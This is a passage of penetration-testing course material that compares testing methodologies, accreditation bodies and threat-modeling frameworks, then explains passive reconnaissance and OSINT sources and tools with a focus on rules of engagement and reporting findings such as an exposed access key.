Work added beyond the signed scope; PTES says to start none of it until a new statement of work is signed and countersigned.
List scan
Nmap's -sL option, which prints the addresses a target specification expands to without sending packets to them.

Six Maps of One Territory: Testing Frameworks, Methodologies, and Threat Models

  • Compare PTES, OSSTMM and NIST SP 800-115 as methodologies for planning and running a penetration test, including OSSTMM's test types.
  • Explain what CREST, MITRE ATT&CK, the OWASP Top 10 and OWASP MASVS each contribute to an engagement and its report.
  • Use the Purdue model to describe where industrial systems sit and why testing them needs extra care.
  • Apply STRIDE to categorize threats, DREAD to rate them, and explain what OCTAVE assesses.

Two threats, one scale

In June 2003 a team at Microsoft published a guide chapter on threat modeling that rated two threats to a web application. An attacker reading passwords off the network scored 12. SQL commands injected into the application scored 14. The scale ran from 5 to 15, built from five questions whose initials spell DREAD, and both threats came out "High". Microsoft now marks the chapter as retired content, but the model it describes is on the PenTest+ objectives, along with nine other frameworks and models.

Ten names in one objective look like a memorization exercise. They are easier to hold if you sort them by the question each one answers. Some tell you how to run a test. One tells a client who is qualified to run it. One records what real attackers do. Two list what usually goes wrong in software. One describes where industrial systems sit. Three help you think about what could go wrong and how bad it would be. This lesson builds that sorting into a set of comparison tables, then practices choosing the right one for a question.

Exam objectives: 1.3 (compare and contrast OSSTMM, CREST, PTES, MITRE ATT&CK, the OWASP Top 10, OWASP MASVS, the Purdue model, and the threat modeling frameworks DREAD, STRIDE and OCTAVE).

Six kinds of map

Question it answersFrameworksWhat you use it for in an engagement
How do we run a test, start to finish?PTES, OSSTMM, NIST SP 800-115Structuring the engagement, the ROE and the report
Who is qualified to run it?CRESTA client choosing a testing provider; a provider proving its processes
What do real attackers do?MITRE ATT&CKPlanning realistic scenarios; mapping findings to behaviors defenders can detect
What usually goes wrong in software?OWASP Top 10, OWASP MASVSChecking web and mobile applications against known risk categories and requirements
Where do industrial systems sit?Purdue modelScoping and segmenting tests of operational technology safely
What could go wrong, and how bad is it?STRIDE, DREAD, OCTAVEFinding threats in a design, rating them, and assessing an organization's risk

The upshot: when a question names a goal, such as "structure the engagement" or "rate this threat", ask which kind of map answers that goal before looking at the names.

Methodologies for running the test

Three documents describe how a penetration test should be run, and they divide the work differently.

FeatureNIST SP 800-115 (2008)PTESOSSTMM 3 (ISECOM, 2010)
Who publishes itUS National Institute of Standards and TechnologyA group of practitioners; the technical text is mirrored onlineThe Institute for Security and Open Methodologies, under a Creative Commons license
How it divides a testFour phases: planning, discovery, attack and reporting, with a loop from attack back to discoverySeven sections: pre-engagement interactions, intelligence gathering, threat modeling, vulnerability analysis, exploitation, post-exploitation, reportingTests five channels (human, physical, wireless, telecommunications and data networks) with one methodology
Distinctive strengthA rules of engagement template and plain guidance on planning and logisticsPractical detail on scoping, third parties, emergency contacts and scope creepMeasurement: attack surface metrics called ravs, and strict rules for reporting only facts
Where you meet itUS government and regulated workCommercial engagementsOperational security audits across physical and digital channels

NIST makes reporting a phase that runs alongside the others rather than one at the end. The ROE is written during planning, logs and periodic reports are kept during discovery and attack, and a final report closes the test. That is worth remembering for the exam, because it explains why communication is an objective of its own.

OSSTMM adds a vocabulary the exam can use: six common test types, defined by who knows what in advance.

OSSTMM test typeWhat the tester knowsWhat the target knowsAlso called
BlindNothing about defenses, assets or channelsEverything about the auditEthical hacking
Double blindNothingNothing about scope, channels or vectorsBlack box test, penetration test
Gray boxLimited knowledge of defenses and assetsEverythingVulnerability test, often a self-assessment
Double gray boxLimited knowledgeScope and time frame, but not channels or vectorsWhite box test
TandemEverythingEverythingIn-house audit, crystal box test
ReversalEverything about processes and defensesNothing about what, how or whenRed team exercise

Notice what the table measures. The tester's knowledge decides how efficient the test is; the target's knowledge decides whether the test also measures how well its defenders respond. A reversal test, OSSTMM's red-team type, is the only one that tests the defenders' readiness with full knowledge on the attacking side. OSSTMM also sets rules that read like an ROE. It forbids any flood testing over channels that are not privately owned. It requires reports to mark every unknown and to state both the security measures that worked and those that failed.

Watch one label. OSSTMM's "white box" is its double gray box, where the tester has limited knowledge. In general use, and in NIST's glossary, white box testing means the tester has substantial knowledge of the system's internals, gray box means some knowledge and black box means none. If a stem says white box without naming OSSTMM, read it the general way.

CREST: who may do the testing

CREST is not a way to run a test. The objectives expand the name as Council of Registered Ethical Security Testers, though the body now simply calls itself CREST. It is a not-for-profit company, registered in the UK, that accredits testing companies and certifies individual professionals. Accredited member companies, which CREST says number over 500 worldwide, pass audits of their processes and sign enforceable codes of conduct and ethics, and clients can complain through CREST if something goes wrong. Its accreditations cover penetration testing, vulnerability assessment, threat intelligence, incident response and security operations.

So CREST answers the buyer's question: how do I know this company tests safely and ethically? A client that requires a CREST-accredited provider, as some governments and regulators do, is using CREST as a qualification standard, while the engagement itself may still follow PTES or NIST.

MITRE ATT&CK: what attackers actually do

MITRE describes ATT&CK as a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. A tactic is the attacker's goal at a step, such as gaining credentials. A technique is how the goal is reached, such as T1110, Brute Force, whose sub-techniques include password guessing, password cracking, password spraying and credential stuffing. Each technique page lists mitigations and detection strategies, which is why ATT&CK is as useful to defenders as to testers.

ATT&CK has three matrices: Enterprise, Mobile and ICS (industrial control systems). In version 20 the Enterprise matrix has 15 tactics, in this order: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Stealth, Defense Impairment, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration and Impact. Older study material lists 14, with a single tactic called Defense Evasion where version 20 has Stealth (TA0005) and Defense Impairment (TA0112). If an exam item uses the older name, it means the same family of behavior.

In an engagement, ATT&CK helps in two places. Before testing, it lets you build scenarios from techniques real groups use against the client's industry. In the report, mapping each finding to a technique ID tells the client's detection team exactly which behavior it should be able to see.

OWASP: what usually goes wrong in software

The Open Worldwide Application Security Project publishes two lists the exam names. The OWASP Top 10 ranks the most critical categories of web application security risk and is revised every few years. Its 2025 edition reads:

IDCategory (2025)Where the 2021 edition differed
A01Broken Access ControlAlso first in 2021
A02Security MisconfigurationFifth in 2021
A03Software Supply Chain FailuresNew name; 2021 had Vulnerable and Outdated Components sixth
A04Cryptographic FailuresSecond in 2021
A05InjectionThird in 2021
A06Insecure DesignFourth in 2021
A07Authentication FailuresIdentification and Authentication Failures in 2021
A08Software or Data Integrity FailuresSoftware and Data Integrity Failures in 2021
A09Security Logging and Alerting FailuresSecurity Logging and Monitoring Failures in 2021
A10Mishandling of Exceptional ConditionsNew; 2021's tenth was Server-Side Request Forgery (SSRF)

PT0-003 was written when the 2021 list was current, so expect exam items and study guides to cite it. The Top 10 is a list of risk categories, not a testing method; OWASP's Web Security Testing Guide is the method. Testers use the Top 10 to make sure a web test covers the categories that matter most, and to label findings in terms developers recognize.

The Mobile Application Security Verification Standard (MASVS) does the same job for mobile apps. It is a set of security requirements grouped into eight control groups:

  • storage
  • cryptography
  • authentication and authorization
  • network communication
  • platform interaction
  • code quality
  • resilience against reverse engineering and tampering
  • privacy

Its companion, the Mobile Application Security Testing Guide (MASTG), organizes test methods for Android and iOS under the same groups. An app that keeps a session token in a plain file on the device fails a storage requirement; one that accepts any certificate when it calls its API fails a network one.

A chart by OWASP with arrows from the ten categories of 2017 on the left to the ten of 2021 on the right, showing which moved, merged or are new.
How the Top 10 changes between editions
Fundación OWASP - CC BY-SA 4.0 - Wikimedia Commons

The Purdue model: where industrial systems sit

The Purdue model comes from the Purdue Enterprise Reference Architecture, first published in the late 1980s and early 1990s for computer-integrated manufacturing. NIST SP 800-82 Revision 3, the US guide to operational technology (OT) security, names it as one of the models an organization may use to organize OT network segmentation.

LevelWhat lives thereTesting implication
Level 0Field I/O: sensors and actuators touching the physical processMany devices and protocols here cannot authenticate, so data can be replayed, modified or spoofed
Level 1Controllers, such as programmable logic controllers (PLCs)Fragile to unexpected traffic; never test casually in production
Level 2Supervisory control: operator interfaces (HMIs) and SCADA serversGrouped with Levels 0 and 1 as the field level in NIST's examples
Level 3Site operations: site-wide supervisory and optimization serversThe operations management level
OT DMZSystems that bridge operations and the enterpriseThe enforcement boundary between IT and OT
Levels 4 and 5Enterprise business systems and networksOrdinary IT, where most testing starts

NIST's guidance gives a tester two things to check and one thing to fear. Firewall rules should only permit connections between adjacent levels, so a Level 4 device talking directly to a Level 2, 1 or 0 device is a finding. Outbound connections from lower levels should be controlled as strictly as inbound ones. And active scanning can harm OT systems: NIST repeatedly advises testing tools on non-production systems first, scanning during planned downtime, and preferring passive monitoring through SPAN ports or network taps. Lesson 10 returns to this when it covers industrial vulnerability assessment.

A stack of six colored layers, from Process and Basic Control at the bottom to the Enterprise Network at the top, with side labels marking the edge and the cloud.
The Purdue model's layers
Paul McLaughlin, Rohan McAdam - CC BY-SA 4.0 - Wikimedia Commons
A tree diagram with the plant at the Field Level, then Direct Control, Plant Supervisory, Production Control and Production Scheduling above it.
Levels in an industrial control system
Daniele Pugliesi - CC BY-SA 3.0 - Wikimedia Commons
An open outdoor cabinet holding an Allen-Bradley CompactLogix programmable logic controller on a rail, rows of wiring terminals and a laptop on a shelf.
A controller in the field (Level 1)
sirdle - CC BY-SA 2.0 - Wikimedia Commons
A Siemens touch panel showing a process diagram of tanks, valves and status indicators.
An operator interface (Level 2)
Alf van Beem - CC0 - Wikimedia Commons

Threat models: STRIDE, DREAD and OCTAVE

Threat modeling asks what could go wrong with a system before or while you test it. The exam names three approaches, and they do three different jobs.

STRIDE finds threats. Microsoft's threat modeling tool uses it to prompt pointed questions about each part of a design. Each letter is a category of threat, and each violates one security property.

CategoryProperty violatedExample in a banking app
SpoofingAuthenticationUsing another member's stolen password to log in
TamperingIntegrityChanging a transfer amount in transit or in the database
RepudiationNon-repudiationA member denies a transfer and no log can prove otherwise
Information disclosureConfidentialityReading another member's statements
Denial of serviceAvailabilityMaking online banking unusable for everyone
Elevation of privilegeAuthorizationA teller account gaining administrator rights

DREAD rates threats. In the 2003 Microsoft chapter, each threat gets a score from 1 (low) to 3 (high) for Damage potential, Reproducibility, Exploitability, Affected users and Discoverability. The five scores are added, so totals run from 5 to 15: 12 to 15 is High, 8 to 11 is Medium and 5 to 7 is Low. The chapter's network-sniffing threat scored 3, 3, 2, 2, 2, a total of 12.

The chapter offered DREAD as a cure for a known problem: team members usually will not agree on a bare High, Medium or Low rating. The cure is partial, because each of the five scores is still a judgment call.

OWASP's historical threat modeling page goes the other way. It prefers qualitative High, Medium and Low values for likelihood and impact, so that rankings do not become overly subjective. Modern reports usually score findings with CVSS instead (Lesson 14).

OCTAVE assesses an organization's risk. The Operationally Critical Threat, Asset, and Vulnerability Evaluation comes from Carnegie Mellon University's Software Engineering Institute. Its streamlined version, OCTAVE Allegro, published in 2007, has an organization assess the risks to its information assets by considering the people, technology and facilities those assets depend on and the business processes they support. It is a risk assessment the organization carries out, not a way to attack a system. It is the right answer when a question is about an organization's overall operational risk rather than a single application's design.

The upshot: STRIDE asks "what kind of threat is this?", DREAD asks "how bad is it?", and OCTAVE asks "what matters most to this organization, and how exposed is it?"

Choosing the right map

The situationBest fitWhy not the obvious alternative
A client wants to structure a new testing program from pre-engagement to reportPTES or NIST SP 800-115The OWASP Top 10 covers only web risk categories
A client wants to test its defenders' response without warning themOSSTMM's reversal or double blind typesA tandem test tells the defenders everything in advance
A regulator requires an accredited testing providerCRESTATT&CK describes attackers, not providers
The detection team wants findings it can turn into alertsMITRE ATT&CK technique IDsDREAD scores severity but says nothing about detection
A developer asks which requirement a mobile app's token storage failsOWASP MASVS (storage)The web Top 10 does not cover on-device storage
A factory asks how to segment and test its plant networkPurdue model, with NIST SP 800-82A standard IT scan plan could disrupt controllers
An architect wants threats in a new design listed by typeSTRIDEOCTAVE works at the level of the whole organization

Common misconceptions

  • "The OWASP Top 10 is a testing methodology." It is a list of risk categories. OWASP's Web Security Testing Guide is the method, and PTES or NIST structures the engagement around it.
  • "CREST is a methodology like PTES." CREST accredits companies and certifies people. It answers who may test, not how a test is run.
  • "White box means the defenders know nothing." In OSSTMM's terms, double gray box ("white box") gives the target notice of scope and time frame. Reversal is the type in which the defenders know nothing while the tester knows everything.
  • "ATT&CK is only for defenders." Testers use it to plan realistic scenarios and to label findings so defenders can act on them.
  • "A DREAD score of 15 means 15 out of 15 problems." It is the sum of five ratings from 1 to 3, and the bands (High from 12) are a convention, not a measurement.

Pulling it together

  • PTES (seven sections), NIST SP 800-115 (four phases, with reporting running throughout) and OSSTMM (five channels, six test types, attack surface metrics) describe how to run a test.
  • CREST accredits testing companies and certifies individuals; it is a qualification standard, not a methodology.
  • MITRE ATT&CK records real-world adversary tactics and techniques; version 20's Enterprise matrix has 15 tactics, with Stealth and Defense Impairment where older versions had Defense Evasion.
  • The OWASP Top 10 (2025, with 2021 still widely cited) lists web risk categories; MASVS sets mobile app requirements in eight control groups, tested with the MASTG.
  • The Purdue model places industrial systems in levels from field devices to the enterprise; NIST SP 800-82 says only adjacent levels should talk and active scanning needs great care.
  • STRIDE categorizes threats by the property they violate, DREAD rates them from 5 to 15, and OCTAVE assesses an organization's operational risk to its information assets.

Sources

  1. Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), section 5.2. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
  2. The PTES Team. (n.d.). Penetration Testing Execution Standard (unofficial mirror of the technical text; the official site is pentest-standard.org). pentest-standard.readthedocs.io
  3. Herzog, P. (2010). OSSTMM 3: The open source security testing methodology manual. Institute for Security and Open Methodologies (ISECOM). isecom.org (PDF); National Institute of Standards and Technology. (n.d.). White box testing; Gray box testing; Black box testing. Computer Security Resource Center glossary. csrc.nist.gov (white); csrc.nist.gov (gray); csrc.nist.gov (black)
  4. CREST. (n.d.). Cyber security services, accreditations and training (home page; legal status in the site footer). crest-approved.org
  5. MITRE. (2026). MITRE ATT&CK, version 20: Enterprise tactics, and technique T1110, Brute Force. attack.mitre.org (tactics); attack.mitre.org (T1110)
  6. OWASP Foundation. (2025). OWASP Top 10:2025; and (2021). OWASP Top 10:2021. top10.owasp.org (2025); top10.owasp.org (2021)
  7. OWASP Foundation. (n.d.). OWASP Mobile Application Security Verification Standard (MASVS). mas.owasp.org
  8. Stouffer, K., Pease, M., Tang, C., Zimmerman, T., Pillitteri, V., Lightman, S., Hahn, A., Saravia, S., Sherule, A., and Thompson, M. (2023). Guide to operational technology (OT) security (NIST Special Publication 800-82 Rev. 3). National Institute of Standards and Technology. csrc.nist.gov
  9. Microsoft. (n.d.). Threats: Microsoft Threat Modeling Tool (STRIDE); and Meier, J. D., Mackman, A., Dunner, M., Vasireddy, S., Escamilla, R., and Murukan, A. (2003). Threat modeling. In Improving web application security: Threats and countermeasures (retired content; DREAD). learn.microsoft.com (STRIDE); learn.microsoft.com (DREAD)
  10. OWASP Foundation. (n.d.). Threat modeling process (historical); and Caralli, R. A., Stevens, J. F., Young, L. R., and Wilson, W. R. (2007). Introducing OCTAVE Allegro: Improving the information security risk assessment process (CMU/SEI-2007-TR-012). Software Engineering Institute. owasp.org; sei.cmu.edu
Key terms
PTES
The Penetration Testing Execution Standard, which divides an engagement into seven sections from pre-engagement interactions to reporting.
OSSTMM
ISECOM's Open Source Security Testing Methodology Manual, which tests five channels and defines six test types such as blind, double blind and reversal.
CREST
A not-for-profit body that accredits security testing companies and certifies individual professionals.
MITRE ATT&CK
A knowledge base of real-world adversary tactics (goals) and techniques (methods), with Enterprise, Mobile and ICS matrices.
OWASP Top 10
OWASP's periodically revised list of the most critical web application security risk categories; the 2025 edition replaces the 2021 one.
OWASP MASVS
The Mobile Application Security Verification Standard: security requirements for mobile apps in eight control groups.
Purdue model
A reference model that places industrial systems in levels, from field devices at Level 0 to enterprise networks at Levels 4 and 5.
STRIDE
Microsoft's threat categories: spoofing, tampering, repudiation, information disclosure, denial of service and elevation of privilege.
DREAD
A rating model scoring damage, reproducibility, exploitability, affected users and discoverability from 1 to 3 each, summed to 5-15.
OCTAVE
The SEI's Operationally Critical Threat, Asset, and Vulnerability Evaluation, an organization's own risk assessment of its information assets.

Module 3: Reconnaissance and Enumeration (Domain 2, objectives 2.1-2.4)

Gather what public sources already reveal about a target, then discover hosts, services and operating systems in your own lab, enumerate what each service gives away, and modify short Bash, Python and PowerShell scripts that do the reading for you.

What the Internet Already Knows: Passive Reconnaissance and OSINT

  • Distinguish passive, semi-passive and active reconnaissance, and explain why the ROE must cover each.
  • Identify what social media, job boards, code repositories, DNS, registration data, certificate transparency logs, cached pages and breach data can reveal about a target.
  • Choose among OSINT tools such as WHOIS and RDAP, nslookup and dig, Shodan, Censys, DNSdumpster, theHarvester, Recon-ng, SpiderFoot, Maltego, Hunter.io and the OSINT Framework.
  • Report OSINT findings, such as an exposed secret, with remediation the client can act on.

A key in a public repository

In December 2017 a contractor developing the website for Toyota's T-Connect service, which links cars to online services, uploaded part of the site's source code to its own GitHub account. The account was set to public. The code contained an access key to the data server that held customer records.

On 15 September 2022 Toyota discovered the exposure and made the code private; two days later it changed the key.

Its announcement on 7 October 2022 said that for almost five years anyone could have used the key to reach the email addresses and customer management numbers of 296,019 customers. Its access logs showed no third-party access, but it could not completely rule it out.

Nobody had to scan Toyota to find that key. It sat on one of the most-searched code sites on the internet, readable by anyone who looked. That is the uncomfortable lesson of reconnaissance: some of the most valuable findings in a penetration test come before the tester sends a single packet to the client. This lesson covers those sources, what each one can reveal, the tools that collect them, and how a finding like Toyota's is written up.

Exam objectives: 2.1 (active and passive reconnaissance; OSINT from social media, job boards, code repositories, DNS and reverse DNS lookups, cached pages, cryptographic flaws and password dumps; certificate transparency logs; information disclosure; search engine analysis; HTML scraping) and 2.4 (Wayback Machine, WHOIS, nslookup and dig, Shodan, Censys.io, Hunter.io, DNSdumpster, theHarvester, Maltego, Recon-ng, SpiderFoot, OSINTframework.com).

A curved, glass-fronted office tower, the headquarters of the company that announced the T-Connect exposure in October 2022.
Toyota's headquarters, Toyota City, Japan
Chris 73 - CC BY-SA 3.0 - Wikimedia Commons

Passive, semi-passive and active

The Penetration Testing Execution Standard sorts information gathering into three levels by how visible it is to the target.

LevelPTES's description (paraphrased)Examples
PassiveUses only archived or stored information, so the target never sees traffic from youReading archived pages, certificate logs, internet-wide scan databases, registration records
Semi-passiveLooks like normal internet activity, such as querying the target's published name servers or reading public documentsNormal DNS lookups, browsing the public website, downloading published reports and reading their metadata
ActiveActivity the target is likely to noticePort scans, vulnerability scans, searching for unpublished directories or servers

The distinction matters for two reasons. First, active reconnaissance touches the client's systems, so it must sit inside the scope and testing window. Second, passive sources often concern people rather than systems: employees' names, roles and posts. The ROE should say what research into staff is allowed. A sensible default is to research the organization and staff in their work roles, and to stay out of private lives.

Worth holding on to: passive does not mean harmless or unlimited. It means the target cannot see you, which is exactly why it needs rules written down.

What the organization says about itself

Organizations publish far more than they realize. PTES lists the sources: the corporate website, partners and clients it advertises, public bids, court records and filings, marketing material, and job postings, which it singles out because they reveal the technologies in use. A posting that asks for experience with a named firewall, identity provider and logging platform has just told an attacker which products to research.

Social media adds the people: names, job titles, reporting lines, email formats, office photos with badges visible, and announcements about new systems. Published documents add metadata. A report saved as a PDF or a word-processing file often records its author's name, the software version and sometimes internal paths. PTES names tools such as exiftool for reading it, and you will look at your own document's metadata in this lesson's lab.

All of this is information disclosure, one of the exam's terms: data the organization did not mean to publish, or did not realize was useful to an attacker. Error pages that print software versions, comments left in web page source, and directory listings belong in the same category.

A terminal listing the fields ExifTool read from a photo, including the camera make and model and the date it was created.
ExifTool reading a file's metadata
Infestor - CC0 - Wikimedia Commons

What the domain says: DNS, registration data and certificate logs

The Domain Name System is public by design, so a few lookups reveal a lot. A forward lookup asks for the records behind a name:

  • A and AAAA records give addresses.
  • MX records name the mail servers.
  • NS records name the name servers.
  • TXT records often reveal which email and cloud services the organization has verified.

A reverse lookup asks which name a given address maps to, through PTR records, and can turn an address range into a list of hostnames.

On Linux and macOS, dig does both; nslookup is the older tool that also ships with Windows. Lesson 8 uses them against your own lab.

Registration data says who holds a domain or an address block. The old WHOIS protocol is being retired. ICANN says that since 28 January 2025, registries and registrars for generic top-level domains must provide registration data through the Registration Data Access Protocol (RDAP). They are no longer required to run WHOIS, except for .com, .name and .post. Many people and tools still say "WHOIS" for both. For a tester, registration data does a job you met in Lesson 4: confirming that the addresses in the scope really belong to the client.

Certificate Transparency (CT) logs are often the richest source of all. They are public, append-only records of the TLS certificates that certificate authorities issue; certificates can be added but not deleted or altered, and anyone can search them. Chrome and Safari require certificates to carry signed proof of logging, so almost every certificate used on the public web appears in a log.

Every name on a certificate, such as vpn., dev. or a forgotten staging site, becomes visible. Search services such as crt.sh, and tools such as DNSdumpster, a free domain research tool from HackerTarget, gather these names into a picture of the organization's attack surface.

A tree of DNS names grouped into dashed zones, with a note showing one zone delegating a subzone to another name server.
The DNS name space and its zones
Unknown author - Public domain - Wikimedia Commons

What the code and the past say

Code repositories are where the Toyota key lived. Public platforms index code for search, and a secret committed once stays in the repository's history even after a later commit deletes the file.

GitHub runs secret scanning automatically and for free on public repositories, checking the full history of every branch as well as issues, pull requests and wikis for keys, passwords and tokens. Its advice when a secret is exposed is to revoke or rotate the credential immediately, because removing it from history is slow and does not undo exposure that has already happened.

A tester searching the client's public repositories, and those of its contractors, is looking for exactly what Toyota's contractor published.

Cached pages show the past. The Internet Archive's Wayback Machine lets anyone browse archived captures of a URL, so a page the client removed last year, an old staff directory or an old login page may still be readable. Site owners can ask the archive to exclude their pages, which is itself a remediation option.

Search engines index what the organization forgot. Google's documentation describes its site: operator, which limits results to one domain, URL or URL prefix; combined with other terms, it finds exposed documents, login pages and error messages on the client's own sites. Such specialized queries are often called Google dorks, and the OSINT Framework marks them with a (D).

Password dumps are the hardest source ethically. Breach compilations circulate with real credentials for real people. The ROE must say whether testers may search them at all. When it allows a search, the usual practice is to report which client accounts appear, so the client can force resets, and never to try those passwords against live systems without explicit written permission. Cloud providers draw the same line: Microsoft's testing rules forbid using credentials that are not yours, including publicly leaked ones.

The Wayback Machine page for one URL, with a bar chart of captures by year, a calendar of dates and one capture picked out by red arrows.
The Wayback Machine's calendar view
Torque - CC0 - Wikimedia Commons
Black-and-white photo of dense disk racks labeled Internet Archive, where archived web captures are stored.
Internet Archive storage racks
Ralf Muehlen - GFDL - Wikimedia Commons

What machines say about themselves: Shodan and Censys

Some organizations scan the whole internet continuously and publish the results. Shodan describes itself as a search engine for internet-connected devices; most of its data is banners, the text a service returns when something connects, which often names the software and version. Censys does similar work for hosts and certificates. Reading their records about the client's addresses is passive for you, because someone else did the scanning. It can show services the client forgot it exposed, or cryptographic flaws such as expired certificates and outdated protocol versions, before you touch anything.

Both services need an account for most searches. So do Hunter.io and Maltego. Hunter's terms require users to be at least 18, and Censys's terms bar anyone under 13. For Shodan and Maltego, read the terms, including any age requirement, before registering. None of this course's labs needs any of these accounts.

Tools that do the collecting

ToolWhat it doesHow visible it is to the target
theHarvesterGathers email addresses, names, subdomains, IP addresses and URLs for a domain from public sources such as search engines and CT logsPassive by default; DNS queries and direct contact with the target run only when you select them
Recon-ngA modular framework for web-based open source reconnaissance, written in Python; its authors say to use other tools for exploitation and social engineeringDepends on the modules run
SpiderFootAutomates OSINT with over 200 modules, from subdomain and email discovery to breach searches, through a web interface or the command lineMany modules are passive, but some, such as port scanning, are active
MaltegoGraphs relationships between people, organizations, domains and infrastructure to show how they connectMostly passive; needs an account
Hunter.ioFinds professional email addresses and their format for a domainPassive; needs an account (18 and over)
DNSdumpsterDiscovers hosts related to a domain from DNS dataPassive
OSINT Framework (osintframework.com)Not a scanner: a categorized collection of links to OSINT resources, focused on free ones, with markers for tools to install (T), dorks (D), registration (R) and manual URLs (M)Depends on the resource you open
Wayback Machine, WHOIS/RDAP, nslookup and dig, Shodan, CensysArchives, registration data, DNS answers and internet-wide scan data, covered abovePassive or semi-passive

HTML scraping is the do-it-yourself version: a script fetches a page and pulls out names, email addresses or links. Lesson 9 shows how to modify one. Scraping a client's site is semi-passive at most, and heavy scraping is active, so it belongs inside the scope and window.

Worth holding on to: a tool's name tells you less than its source. Ask of every tool: where does its data come from, and does using it send anything to the target?

A Maltego graph linking one domain to its hosts, addresses, networks and locations with arrows.
A Maltego graph
Maltego - CC BY-SA 4.0 - Wikimedia Commons

Exam cues: which source or tool the stem wants

Objectives 2.1 and 2.4 begin "Given a scenario", so a stem usually describes a need and the answer names a source or a tool. These are the words to watch for, and the option each one gets confused with.

The stem saysIt points toDo not confuse with
"Without sending any traffic to the target", "must not be detected"Passive sources: archives, certificate logs, scan databases, registration recordsSemi-passive: ordinary lookups and browsing, which do reach the client's published servers. Objective 2.1 files DNS lookups under OSINT, so if the only choices are passive and active, treat an ordinary lookup as passive and a port scan as active
"Find forgotten subdomains such as vpn. or staging."Certificate Transparency logs, crt.sh, DNSdumpsterRDAP or WHOIS, which name who registered the domain, not its hosts
"Who holds this domain or address block?", "confirm the range is the client's"WHOIS or RDAPnslookup or dig, which return DNS records, not ownership
"Which mail servers?", "what name does this address map to?"nslookup or dig: MX records, or a reverse lookup of the PTR recordShodan, which reports services its own scans saw
"Which services and versions are exposed, without scanning?"Shodan or Censys recordsNmap, which sends packets to the target and so is active
"A page the client has since removed"Wayback Machine (cached pages)A search operator such as site:, which finds what is indexed now
"Exposed documents or login pages on the client's own site"Search engine analysis: site: combined with other termsHTML scraping, which is your own script fetching and parsing pages
"Email addresses and names for a domain"theHarvester (many public sources) or Hunter.io (email formats; account needed)Maltego, which graphs relationships once it has the data
"Show how people, domains and servers connect"MaltegoRecon-ng, a modular command-line framework that collects rather than draws
"Automate many OSINT sources from a web interface"SpiderFootOSINTframework.com, a directory of links that collects nothing itself
"A key found in a public repository", even "after it was deleted"Code repositories and their history; revoke or rotate firstDeleting the file or making the repository private, neither of which undoes the exposure
"Leaked password list mentions client accounts"Password dumps: report the accounts and check the ROE; use no credential without written permissionTrying the passwords to prove the risk
"Job post names a firewall", "PDF records its author"Job boards and information disclosure, including document metadataA vulnerability: they show what is in use, not that it is misconfigured

How OSINT findings are reported

OSINT findings are real findings. Suppose that during an authorized test of the fictional Corvid Bay Credit Union you find, in a contractor's public repository, a configuration file with an access key for the credit union's cloud storage. The report entry might read:

  • Finding: a cloud access key, possibly still valid, published in a public code repository since a stated date. Do not test whether it works unless the ROE explicitly allows it.
  • Severity: High, because anyone can read a long-term credential that protects member data. Adjust it once the client confirms what the key can reach.
  • Evidence: the repository and file, a screenshot with the secret part of the key redacted, and the date you found it.
  • Impact: anyone who found the key could read or change the data it protects; exposure time is the whole period it was public.
  • Root cause: a contractor committed a real credential to a repository set to public, and nothing scanned for secrets before or after the commit. Toyota gave the same cause: a contractor's mistaken public upload, left unnoticed for almost five years.
  • Remediation: revoke or rotate the key now, review the provider's logs for its use, turn on secret scanning for the client's and contractors' repositories, and replace long-term keys with temporary credentials where the platform supports them, as AWS recommends.
  • Escalation: because the exposure is live, report it through the ROE's escalation path the same day, not in the final report.

Other OSINT findings are reported the same way:

  • an unknown subdomain from CT logs becomes an asset inventory gap
  • a job post naming security products becomes an awareness note
  • employee lists and email formats feed the social engineering risk discussion

Common misconceptions

  • "Passive reconnaissance is always allowed because it touches nothing." It can still raise privacy and legal issues, especially research into staff and breach data. The ROE should cover it.
  • "Deleting a secret from the code fixes the leak." It stays in the repository's history and in any copy already made. Revoke or rotate the credential.
  • "WHOIS is how you look up domain registration." For most generic top-level domains, RDAP is now the required service; WHOIS is no longer required since 28 January 2025.
  • "Using Shodan is the same as scanning the client." Reading Shodan's existing records is passive for you; someone else already did the scanning. Asking a service to rescan on demand is different, and belongs in scope.
  • "If credentials are public, testers may use them." Using leaked credentials needs explicit written permission; Microsoft's cloud testing rules forbid it outright.

What you now know

  • Toyota's T-Connect key sat in a public repository from December 2017 to September 2022, exposing 296,019 customers' email addresses and management numbers: reconnaissance can find critical flaws without any scanning.
  • PTES sorts information gathering into passive, semi-passive and active; only the last is likely to be noticed, but all three need rules.
  • Websites, job posts, social media and document metadata disclose technologies, people and formats.
  • DNS lookups and reverse lookups, RDAP registration data and Certificate Transparency logs map names, addresses and owners.
  • Code repositories, the Wayback Machine, search operators such as site:, breach data and Shodan or Censys records expose what the client forgot.
  • Collection tools differ mainly in where their data comes from and whether they touch the target.
  • Exposed secrets are escalated at once and fixed by revoking or rotating them, then preventing recurrence.

Sources

  1. Toyota Motor Corporation. (2022, October 7). T-Connect: Notice regarding the possible leak of customer email addresses (in Japanese). global.toyota; reported in English by The Register (2022, October 11). theregister.com
  2. The PTES Team. (n.d.). Intelligence gathering. In Penetration Testing Execution Standard (unofficial mirror of the technical text). pentest-standard.readthedocs.io
  3. Certificate Transparency project. (n.d.). How CT works. certificate.transparency.dev
  4. ICANN. (n.d.). Registration Data Access Protocol (RDAP). icann.org
  5. GitHub. (n.d.). Secret scanning. GitHub Docs. docs.github.com; Amazon Web Services. (n.d.). Manage access keys for IAM users. docs.aws.amazon.com
  6. Internet Archive. (n.d.). Using the Wayback Machine; Google. (n.d.). Google Search site: operator. help.archive.org; developers.google.com
  7. Shodan. (n.d.). What is Shodan? Shodan Help Center. help.shodan.io; Hunter. (2024). Terms of service; Censys. (2018). Terms of service. hunter.io; censys.com
  8. Tool documentation: theHarvester (README); Recon-ng (README); SpiderFoot (README); DNSdumpster (HackerTarget); OSINT Framework. theHarvester; Recon-ng; SpiderFoot; DNSdumpster; osintframework.com
  9. Microsoft Security Response Center. (n.d.). Microsoft security testing rules of engagement. microsoft.com
Key terms
OSINT
Open-source intelligence: information gathered from public sources such as websites, registries, code, archives and social media.
Passive reconnaissance
Gathering only archived or stored information, so the target sees no traffic from the tester.
Semi-passive reconnaissance
Gathering that looks like normal internet use, such as ordinary DNS lookups or reading published documents.
Certificate Transparency (CT) log
A public, append-only log of issued TLS certificates, whose names can reveal an organization's hostnames.
RDAP
